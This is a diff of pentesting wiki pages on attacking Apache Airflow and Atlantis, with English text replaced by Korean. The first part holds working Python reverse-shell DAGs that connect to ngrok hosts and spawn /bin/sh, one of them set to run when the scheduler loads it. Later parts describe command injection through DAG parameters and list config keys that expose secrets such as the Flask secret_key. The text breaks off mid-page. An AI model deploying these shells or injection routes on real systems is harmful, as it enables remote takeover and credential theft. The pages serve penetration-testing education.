@@ -105,75 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG 백도어 (Airflow 스케줄러의 RCE)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
코드의 **루트에서 실행되도록 설정**하면, 이 글을 작성하는 순간, DAG 폴더에 넣은 후 몇 초 후에 **스케줄러에 의해 실행**됩니다.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG 생성
|
||||
|
||||
#### DAG Creation
|
||||
만약 **DAG 클러스터 내의 머신을 손상시키는 데 성공한다면**, `dags/` 폴더에 새로운 **DAG 스크립트**를 생성할 수 있으며, 이 스크립트는 **DAG 클러스터 내의 나머지 머신에 복제됩니다**.
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
#### DAG 코드 주입
|
||||
|
||||
#### DAG Code Injection
|
||||
GUI에서 DAG를 실행할 때 **인수를 전달**할 수 있습니다.\
|
||||
따라서, DAG가 제대로 코딩되지 않았다면 **명령어 주입에 취약할 수 있습니다.**\
|
||||
이것이 이 CVE에서 발생한 일입니다: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
**DAG에서 명령어 주입을 찾기 시작하기 위해 알아야 할 모든 것은** **매개변수**가 **코드 `dag_run.conf.get("param_name")`로 **접근된다는 것입니다**.
|
||||
|
||||
게다가, 같은 취약점이 **변수**에서도 발생할 수 있습니다 (충분한 권한이 있다면 GUI에서 **변수의 값을 제어할 수 있습니다**). 변수는 **다음과 같이 접근됩니다**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
예를 들어 bash 명령어 안에서 사용된다면, 명령어 주입을 수행할 수 있습니다.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,112 +4,102 @@
|
||||
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
**Apache Airflow**는 모든 airflow 머신에서 **`airflow.cfg`**라는 **config file**을 생성합니다. 이 config file은 구성 정보를 포함하고 있으며 **흥미롭고 민감한 정보를 포함할 수 있습니다.**
|
||||
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
**이 파일에 접근하는 방법은 두 가지입니다: 일부 airflow 머신을 손상시키거나 웹 콘솔에 접근하는 것입니다.**
|
||||
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
**config file의 값**은 **사용되는 값이 아닐 수 있습니다**, 환경 변수를 설정하여 덮어쓸 수 있습니다. 예: `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
**웹 서버의 config file에 접근할 수 있다면**, config가 표시되는 동일한 페이지에서 **실제 실행 구성**을 확인할 수 있습니다.\
|
||||
**airflow 환경 내의 일부 머신에 접근할 수 있다면**, **환경**을 확인하십시오.
|
||||
|
||||
Some interesting values to check when reading the config file:
|
||||
config file을 읽을 때 확인할 만한 몇 가지 흥미로운 값:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
- **`access_control_allow_headers`**: 이는 **CORS**에 대한 **허용된** **헤더**를 나타냅니다.
|
||||
- **`access_control_allow_methods`**: 이는 **CORS**에 대한 **허용된 메서드**를 나타냅니다.
|
||||
- **`access_control_allow_origins`**: 이는 **CORS**에 대한 **허용된 출처**를 나타냅니다.
|
||||
- **`auth_backend`**: [**문서에 따르면**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API에 접근할 수 있는 사람을 구성하기 위한 몇 가지 옵션이 있습니다:
|
||||
- `airflow.api.auth.backend.deny_all`: **기본적으로 아무도** API에 접근할 수 없습니다.
|
||||
- `airflow.api.auth.backend.default`: **모두가** 인증 없이 접근할 수 있습니다.
|
||||
- `airflow.api.auth.backend.kerberos_auth`: **kerberos 인증**을 구성합니다.
|
||||
- `airflow.api.auth.backend.basic_auth`: **기본 인증**을 위한 것입니다.
|
||||
- `airflow.composer.api.backend.composer_auth`: 작곡가 인증(GCP)을 사용합니다 ( [**여기**](https://cloud.google.com/composer/docs/access-airflow-api)에서).
|
||||
- `composer_auth_user_registration_role`: 이는 **airflow** 내에서 **작곡가 사용자**가 가질 **역할**을 나타냅니다 (**Op**가 기본값입니다).
|
||||
- 또한 **자신만의 인증** 방법을 파이썬으로 만들 수 있습니다.
|
||||
- **`google_key_path`:** **GCP 서비스 계정 키**의 경로입니다.
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
- **`password`**: 아틀라스 비밀번호
|
||||
- **`username`**: 아틀라스 사용자 이름
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
- **`flower_basic_auth`** : 자격 증명 (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: **자격 증명**을 포함할 수 있는 Postgres URL.
|
||||
- **`ssl_cacert`**: cacert의 경로
|
||||
- **`ssl_cert`**: 인증서의 경로
|
||||
- **`ssl_key`**: 키의 경로
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
- **`dag_discovery_safe_mode`**: 기본적으로 활성화되어 있습니다. DAG를 발견할 때 `DAG` 및 `airflow` 문자열이 포함되지 않은 파일은 무시합니다.
|
||||
- **`fernet_key`**: 암호화된 변수를 저장하기 위한 키(대칭)
|
||||
- **`hide_sensitive_var_conn_fields`**: 기본적으로 활성화되어 있으며, 연결의 민감한 정보를 숨깁니다.
|
||||
- **`security`**: 사용할 보안 모듈(예: kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
- **`tls_ca`**: ca의 경로
|
||||
- **`tls_cert`**: 인증서의 경로
|
||||
- **`tls_key`**: tls 키의 경로
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
- **`ccache`**: ccache 파일의 경로
|
||||
- **`forwardable`**: 기본적으로 활성화되어 있습니다.
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
- **`google_key_path`**: GCP JSON 자격 증명의 경로입니다.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
- **`backend`**: 활성화할 비밀 백엔드의 전체 클래스 이름
|
||||
- **`backend_kwargs`**: backend_kwargs 매개변수는 사전으로 로드되어 비밀 백엔드 클래스의 **init**에 전달됩니다.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
- **`smtp_password`**: SMTP 비밀번호
|
||||
- **`smtp_user`**: SMTP 사용자
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
- **`cookie_samesite`**: 기본적으로 **Lax**이며, 따라서 이미 가능한 가장 약한 값입니다.
|
||||
- **`cookie_secure`**: 세션 쿠키에 **보안 플래그** 설정
|
||||
- **`expose_config`**: 기본값은 False이며, true인 경우 **config**를 웹 **콘솔**에서 **읽을 수 있습니다.**
|
||||
- **`expose_stacktrace`**: 기본값은 True이며, **python tracebacks**를 표시합니다 (공격자에게 유용할 수 있음).
|
||||
- **`secret_key`**: 이는 **flask가 쿠키에 서명하는 데 사용하는 키**입니다 (이 키가 있으면 **Airflow에서 모든 사용자를 가장할 수 있습니다**).
|
||||
- **`web_server_ssl_cert`**: **SSL** **인증서**의 **경로**입니다.
|
||||
- **`web_server_ssl_key`**: **SSL** **키**의 **경로**입니다.
|
||||
- **`x_frame_enabled`**: 기본값은 **True**이며, 따라서 기본적으로 클릭재킹이 불가능합니다.
|
||||
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
|
||||
기본적으로 **웹 인증**은 **`webserver_config.py`** 파일에 지정되어 있으며 다음과 같이 구성됩니다.
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
즉, **인증이 데이터베이스에 대해 확인됩니다**. 그러나 다른 구성도 가능합니다.
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
**제3자 서비스에 인증을 맡기기 위해.**
|
||||
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
그러나 **익명 사용자 접근을 허용하는** 옵션도 있으며, 다음 매개변수를 **원하는 역할**로 설정할 수 있습니다:
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,44 +4,40 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
(문서에서)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow는 기본적으로 **역할 세트**를 제공합니다: **Admin**, **User**, **Op**, **Viewer**, 및 **Public**. **오직 `Admin`** 사용자만이 **다른 역할의 권한을 구성/변경할 수 있습니다**. 그러나 `Admin` 사용자가 이러한 기본 역할을 권한을 제거하거나 추가하여 변경하는 것은 권장되지 않습니다.
|
||||
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
- **`Admin`** 사용자는 모든 가능한 권한을 가집니다.
|
||||
- **`Public`** 사용자는 권한이 없습니다.
|
||||
- **`Viewer`** 사용자는 제한된 뷰어 권한(읽기 전용)을 가집니다. **구성을 볼 수 없습니다.**
|
||||
- **`User`** 사용자는 `Viewer` 권한과 추가적인 사용자 권한을 가지고 있어 DAG를 약간 관리할 수 있습니다. 그는 **구성 파일을 볼 수 있습니다.**
|
||||
- **`Op`** 사용자는 `User` 권한과 추가적인 운영 권한을 가집니다.
|
||||
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
**Admin** 사용자는 **더 많은 역할을 생성**하고 더 **세분화된 권한**을 부여할 수 있습니다.
|
||||
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
또한 **사용자 및 역할을 나열할 수 있는 권한이 있는 유일한 기본 역할은 Admin이며, Op조차도 이를 수행할 수 없습니다.**
|
||||
|
||||
### Default Permissions
|
||||
### 기본 권한
|
||||
|
||||
These are the default permissions per default role:
|
||||
기본 역할별 기본 권한은 다음과 같습니다:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
\[Connections에서 삭제할 수 있으며, Connections에서 읽을 수 있으며, Connections에서 편집할 수 있으며, Connections에서 생성할 수 있으며, DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, Pools에서 삭제할 수 있으며, Pools에서 읽을 수 있으며, Pools에서 편집할 수 있으며, Pools에서 생성할 수 있으며, Providers에서 읽을 수 있으며, Variables에서 삭제할 수 있으며, Variables에서 읽을 수 있으며, Variables에서 편집할 수 있으며, Variables에서 생성할 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Configurations에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, Roles에서 읽을 수 있으며, Permissions에서 읽을 수 있으며, Roles에서 삭제할 수 있으며, Roles에서 편집할 수 있으며, Roles에서 생성할 수 있으며, Users에서 읽을 수 있으며, Users에서 생성할 수 있으며, Users에서 편집할 수 있으며, Users에서 삭제할 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있으며, Admin에서 메뉴 접근, Configurations에서 메뉴 접근, Connections에서 메뉴 접근, Pools에서 메뉴 접근, Variables에서 메뉴 접근, XComs에서 메뉴 접근, XComs에서 삭제할 수 있으며, Task Reschedules에서 읽을 수 있으며, Task Reschedules에서 메뉴 접근, Triggers에서 읽을 수 있으며, Triggers에서 메뉴 접근, Passwords에서 읽을 수 있으며, Passwords에서 편집할 수 있으며, List Users에서 메뉴 접근, Security에서 메뉴 접근, List Roles에서 메뉴 접근, User Stats Chart에서 읽을 수 있으며, User's Statistics에서 메뉴 접근, Base Permissions에서 메뉴 접근, View Menus에서 읽을 수 있으며, Views/Menus에서 메뉴 접근, Permission Views에서 읽을 수 있으며, Views/Menus에서 Permission에 대한 메뉴 접근, MenuApi에서 가져올 수 있으며, Providers에서 메뉴 접근, XComs에서 생성할 수 있습니다.]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
\[Connections에서 삭제할 수 있으며, Connections에서 읽을 수 있으며, Connections에서 편집할 수 있으며, Connections에서 생성할 수 있으며, DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, Pools에서 삭제할 수 있으며, Pools에서 읽을 수 있으며, Pools에서 편집할 수 있으며, Pools에서 생성할 수 있으며, Providers에서 읽을 수 있으며, Variables에서 삭제할 수 있으며, Variables에서 읽을 수 있으며, Variables에서 편집할 수 있으며, Variables에서 생성할 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Configurations에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있으며, Admin에서 메뉴 접근, Configurations에서 메뉴 접근, Connections에서 메뉴 접근, Pools에서 메뉴 접근, Variables에서 메뉴 접근, XComs에서 메뉴 접근, XComs에서 삭제할 수 있습니다.]
|
||||
|
||||
- **User**
|
||||
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
\[DAGs에서 읽을 수 있으며, DAGs에서 편집할 수 있으며, DAGs에서 삭제할 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Task Instances에서 편집할 수 있으며, DAG Runs에서 삭제할 수 있으며, DAG Runs에서 생성할 수 있으며, DAG Runs에서 편집할 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근, Task Instances에서 생성할 수 있으며, Task Instances에서 삭제할 수 있습니다.]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
\[DAGs에서 읽을 수 있으며, DAG Runs에서 읽을 수 있으며, Task Instances에서 읽을 수 있으며, Audit Logs에서 읽을 수 있으며, ImportError에서 읽을 수 있으며, XComs에서 읽을 수 있으며, DAG Code에서 읽을 수 있으며, Plugins에서 읽을 수 있으며, DAG Dependencies에서 읽을 수 있으며, Jobs에서 읽을 수 있으며, My Password에서 읽을 수 있으며, My Password에서 편집할 수 있으며, My Profile에서 읽을 수 있으며, My Profile에서 편집할 수 있으며, SLA Misses에서 읽을 수 있으며, Task Logs에서 읽을 수 있으며, Website에서 읽을 수 있으며, Browse에서 메뉴 접근, DAG Dependencies에서 메뉴 접근, DAG Runs에서 메뉴 접근, Documentation에서 메뉴 접근, Docs에서 메뉴 접근, Jobs에서 메뉴 접근, Audit Logs에서 메뉴 접근, Plugins에서 메뉴 접근, SLA Misses에서 메뉴 접근, Task Instances에서 메뉴 접근]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,109 +4,109 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
Atlantis는 기본적으로 git 서버의 Pull Requests에서 terraform을 실행하는 데 도움을 줍니다.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases)에서 **atlantis 릴리스 페이지**로 가서 본인에게 맞는 버전을 **다운로드**합니다.
|
||||
2. **github** 사용자에 대한 **개인 토큰**(repo 접근 권한 포함)을 생성합니다.
|
||||
3. `./atlantis testdrive`를 실행하면 **atlantis와 대화할 수 있는 데모 repo**가 생성됩니다.
|
||||
1. 127.0.0.1:4141에서 웹 페이지에 접근할 수 있습니다.
|
||||
|
||||
### Atlantis Access
|
||||
|
||||
#### Git Server Credentials
|
||||
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
**Atlantis**는 **Github**, **Gitlab**, **Bitbucket** 및 **Azure DevOps**와 같은 여러 git 호스트를 지원합니다.\
|
||||
